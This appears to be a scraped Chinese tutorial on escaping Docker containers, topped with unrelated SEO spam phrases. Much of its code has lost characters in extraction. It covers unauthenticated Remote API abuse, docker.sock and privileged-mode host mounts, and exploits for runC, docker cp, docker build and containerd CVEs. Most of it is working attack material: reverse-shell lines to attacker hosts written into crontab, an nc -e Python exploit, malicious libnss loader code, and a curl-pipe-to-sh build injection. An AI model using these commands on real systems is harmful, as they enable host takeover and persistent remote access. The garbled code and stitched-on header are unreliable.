查询网站到期时间,网站备案的要求,平台搭建工具,网站建设都需学哪些一、 检查是否在docker容器中
通过以下两个地方来判断
# 是否存在此文件
ls -al /.dockerenv# 在其中是否包含docker字符串
cat /proc/1/cgroup除了上面两种外还有其他方式判断#xff0c;如检测mount、fdisk -l查看硬盘 、判断PID 1的进程名等也可用来辅助判断。
容器逃逸…一、 检查是否在docker容器中
通过以下两个地方来判断
# 是否存在此文件
ls -al /.dockerenv# 在其中是否包含docker字符串
cat /proc/1/cgroup除了上面两种外还有其他方式判断如检测mount、fdisk -l查看硬盘 、判断PID 1的进程名等也可用来辅助判断。
容器逃逸一键检测Release 0.1.6 · cdk-team/CDK · GitHub
二、Docker Remote API 未授权访问 Docker Remote API 可以执行 Docker 命令Docker 守护进程监听在 0.0.0.0可直接调用 API 来操作 Docker Docker Remote API 是一个取代远程命令行界面rcli的REST API。Docker Remote API如配置不当可导致未授权访问攻击者利用 docker client 或者 http 直接请求就可以访问这个 API可能导致敏感信息泄露攻击者也可以删除Docker上的数据。 攻击者可进一步利用Docker自身特性直接访问宿主机上的敏感信息或对敏感文件进行修改最终完全控制服务器
漏洞判断
# 返回目标宿主机运行容器信息漏洞存在
# 这个命令和在宿主机上运行docker ps类似
docker -H tcp://x.x.x.x:2375 ps漏洞利用
#利用
#远程创建一个镜像
docker -H tcp://x.x.x.x run –rm –privileged -it -v /:/mnt busybox chroot /mnt sh#此时我们已经进入远程docker容器宿主机的根目录已经被挂载至容器的/mnt目录下我们进入定时任务的文件目录Ubuntu的定时任务文件所在路径是 /var/spool/cron/crontabs/root ,Centos则是/var/spool/cron/root。
#利用定时任务写入反弹shell的命令
echo bash -c bash -i /dev/tcp/x.x.x.x/4444 01 root–rm 容器停止时自动删除该容器 –privileged 使用该参数container内的root拥有真正的root权限。否则container内的root只是外部的一个普通用户权限。privileged启动的容器可以看到很多host上的设备并且可以执行mount。甚至允许你在docker容器中启动docker容器。 -v 挂载目录。格式为 系统目录:容器目录 chroot就是把根目录切换到/mnt最后的sh就是我们使用的shell。 反弹shell exp:
import dockerclient docker.DockerClient(base_urlhttp://your-ip:2375/)
data client.containers.run(alpine:latest, rsh -c echo * * * * * /usr/bin/nc your-ip 21 -e /bin/sh /tmp/etc/crontab , removeTrue, volumes{/etc: {bind: /tmp/etc, mode: rw}})三、docker.sock挂载到容器内部 当这样挂载时在docker容器中可以调用和执行宿主机的docker 将docker宿主机的docker文件和docker.sock文件挂载到容器中 在容器中查看宿主机docker信息
docker -H unix:///var/run/docker.sock info运行一个新容器并挂载宿主机根路径
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash在新容器的 /test 目录下就可以访问到宿主机的全部资源接下来就是写入 SSH 密钥或者写入计划任务获取 shell
四、Docker 高危启动参数 特权模式 –privileged 使用特权模式启动的容器时docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部获取对整个宿主机的文件读写权限此外还可以通过写入计划任务等方式在宿主机执行命令 判断方法
特权模式起的容器实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权模式起CapEff: 000000xfffffffff代表为特权模式起
利用方法
特权模式启动一个Ubuntu容器
sudo docker run -itd --privileged ubuntu:latest /bin/bash进入容器 使用fdisk -l命令查看磁盘文件
fdisk -l命令查看宿主机设备为/dev/sda5(一般是最大的那个)通过mount命令将宿主机根目录挂载进容器 在特权模式下逃逸的方式很多比如直接在容器内部挂载宿主机磁盘然后切换根目录。 新建一个目录mkdir /test 挂载磁盘到新建目录mount /dev/sda5 /test 切换根目录chroot /test到这里已经成功逃逸了然后就是常规的反弹shell 和 写 SSH 了(和redis未授权差不多。
写计划任务反弹宿主机Shell
echo * * * * * /bin/bash -i /dev/tcp/39.106.51.35/1234 01 /test/var/spool/cron/crontabs/root如果要写SSH的话需要挂载宿主机的root目录到容器:
docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub /root/.ssh/authorized_keys然后ssh 私钥登录。
五、Docker 软件设计引起的逃逸
5.1 CVE-2019-5736 CVE-2019-5736 是 runC 的 CVE 漏洞编号runC 最初是作为 Docker 的一部分开发的后来作为一个单独的开源工具和库被提取出来在 docker 整个架构的运行过程中Containerd 向 docker 提供运行容器的 API二者通过 grpc 进行交互。containerd 最后通过 runc 来实际运行容器。 影响版本
docker version 18.09.2RunC version 1.0-rc6
利用条件
攻击者可控 image进一步控制生成的 container 攻击者具有某已存在容器的写权限且可通过 docker exec 进入
# 下载 poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC# 修改Payload
vi main.go
payload #!/bin/bash \n bash -i /dev/tcp/172.19.0.1/4444 01# 编译生成 payload
CGO_ENABLED0 GOOSlinux GOARCHamd64 go build main.go# 拷贝到 docker 容器中执行
docker cp ./main 248f8b7d3c45:/tmp在容器中执行
rootd1b112ea4a5e:/tmp# ./main
[] Overwritten /bin/sh successfully
[] Found the PID: 16
[] Successfully got the file handle
[] Successfully got write handle {0xc8201231e0}当管理员通过exec进入容器的时候触发payload从而达到逃逸
5.2 CVE-2019-14271
Copy命令允许从容器、向容器中、或容器之间复制文件。语法与标准的unix cp命令非常相似。要从容器中复制/var/logs语法是docker cp container_name:/var/logs /some/host/path。
可能的攻击场景有Docker用户从另一个Docker处复制文件
容器运行含有恶意libnss_*.so库的镜像容器中含有被攻击者替换的libnss_*.so库
在这两种情况下攻击者都可以获取主机上的root代码执行权限。
漏洞利用
为利用该漏洞研究人员需要先创建一个恶意libnss库。研究人员随意选择了libnss_files.so文件下载了库函数的源码并在代码中加入了一个函数——run_at_link()。研究人员还为该函数定义了constructor属性。constructor属性表明run_at_link函数在进程加载时会作为库的初始化函数执行。也就是说当Docker-tar进程动态加载恶意库时run_at_link函数就会执行。下面是run_at_link的代码
#include ...#define ORIGINAL_LIBNSS /original_libnss_files.so.2
#define LIBNSS_PATH /lib/x86_64-linux-gnu/libnss_files.so.2bool is_priviliged();__attribute__ ((constructor)) void run_at_link(void)
{char * argv_break[2];if (!is_priviliged())return;rename(ORIGINAL_LIBNSS, LIBNSS_PATH);fprintf(log_fp, switched back to the original libnss_file.so);if (!fork()){// Child runs breakoutargv_break[0] strdup(/breakout);argv_break[1] NULL;execve(/breakout, argv_break, NULL);}elsewait(NULL); // Wait for childreturn;
}
bool is_priviliged()
{FILE * proc_file fopen(/proc/self/exe, r);if (proc_file ! NULL){fclose(proc_file);return false; // can open so /proc exists, not privileged}return true; // were running in the context of docker-tar
}run_at_link首先会验证是否运行在docker-tar环境下然后正常的容器进程也可能会加载它。这是通过检查/proc目录完成的。如果run_at_link运行在docker-tar环境下那么目录就是空的因为procfs挂载在/proc上只存在于容器的mount命名空间。
然后run_at_link会用恶意libnss库替换原始库。这保证了漏洞利用运行的随后进程不会意外加载恶意版本并触发run_at_link执行。
为简化该漏洞利用run_at_link会尝试在容器的/breakout路径下运行可执行文件。这样漏洞利用的其他部分就可以用bash写入而非C语言。让逻辑的其他部分在run_at_link外意味着在漏洞利用每次变化后无需重新编译恶意库只需改变breakout二进制文件就可以了。
其中breakout的参考内容如下
#!/bin/bashumount /host_fs rm -rf /host_fs
mkdir /host_fsmount -t proc none /proc # mount the hosts procfs over /proc
cd /proc/1/root # chdir to hosts root
mount --bind . /host_fs # mount host root at /host_fs
echo Hello from within the container! /host_fs/evil
5.3 CVE-2019-13139
攻击者需要使用ref来注入最终的git fetch命令。ref来自#containerDocker字符串提供用于Docker上下文的分支和文件夹。由于使用的strings.splitN()函数在上进行拆分,#和之间的任何内容都将用作ref。另一个好消息是由于os/exec包将每个字符串视为传递给execv的参数如果提供的字符串包含空格则会将其视为引用过的字符串。因此#echo 1:two将导致执行最终命令git fetch origin echo 1。这一点对我来说不是很有用但不能半途而废。 下一部分是识别一个或多个参数这些参数在传递到git fetch时被视为子命令。为此我查阅了一下git-fetch文档。事实证明有一个理想的--upload-pack选项 给定--upload-pack upload-pack,并且要获取的存储库由git fetch-pack处理时--execupload-pack将传递给命令以指定在另一端运行的命令的非默认路径 唯一的缺点是它用于“在另一端运行命令”因此是在服务器端。当git url是http://或https://时会忽略这一点。幸运的是Docker build命令还允许以git的形式提供git URL。git通常被视为用于git通过SSH进行克隆的用户但前提是所提供的URL包含更简洁的是gitremote.server.nameowner/repo.git。当不存在时git将URL解析为本地路径。因为它是一个本地路径所以提供的-upload-pack最终将被用作执行git fetch-pack的二进制文件。 因此所有的星号都是对齐的并且可以构造导致命令执行的URL。
docker build gitg.com/a/b#--upload-packsleep 30;:然后执行以下步骤
git init
git remote add gitg.com/a/b
git fetch origin --upload-packsleep 30; gitg.com/a/b请注意remote已经附加到-upload-pack命令中因此需要使用分号()关闭该命令否则gitg.com/a/b将被解析为sleep命令的第二个参数。如果没有分号将会提示sleep: invalid time interval ‘gitgcom/a/b.git
docker build gitgcom/a/b.git#--upload-packsleep 5:unable to prepare context: unable to git clone to temporary context directory: error fetching: sleep: invalid time interval ‘gitgcom/a/b.git’ Try sleep --help for more information. 这可以进一步转换为正确的命令执行(添加第二个#将清除输出curl命令不会显示)
docker build gitgithub.com/meh/meh#--upload-packcurl -s sploit.conch.cloud/pew.sh|sh;#:5.4 CVE-2020-15257 Containerd 是一个控制 runC 的守护进程提供命令行客户端和API用于在一个机器上管理容器。在特定网络条件下攻击者可通过访问containerd-shim API从而实现Docker容器逃逸 影响版本
containerd 1.4.3containerd 1.3.9
在Containerd 1.3.9版本之前和1.4.0~1.4.2版本通过dockers version查询使用了--host网络模式会造成containerd-shim API暴露通过调用API功能实现逃逸。
判断方法
#判断是否使用host模式cat /proc/net/unix | grep containerd-shim经过以上判断存在漏洞后。
1、从https://github.com/cdk-team/CDK/releases下载对应架构的可执行文件上传到容器并赋权
上传方法
如果漏洞利用过程中允许文件上传即可直接植入CDK如果可以在目标系统中执行命令但是容器没有curl和wget命令可以参考以下方法植入
# 将CDK下载到公网服务器并监听端口
nc -lvp 999 cdk
# 在已经攻入的目标中执行
cat /dev/tcp/xxx/端口 cdk
chmod ax cdk使用
#可以反弹shell也可以执行命令
#reverse shell
./cdk run shim-pwn reverse RHOST RPORT
#execute command
./cdk run shim-pwn shell_cmd六、内核漏洞
6.1 CVE-2016-5195 Dirty CowCVE-2016-5195是 Linux 内核中的权限提升漏洞通过它可实现 Docker 容器逃逸获得 root 权限的 shell。 Docker与宿主机共享内核因此容器需要运行在存在Dirty Cow漏洞的宿主机里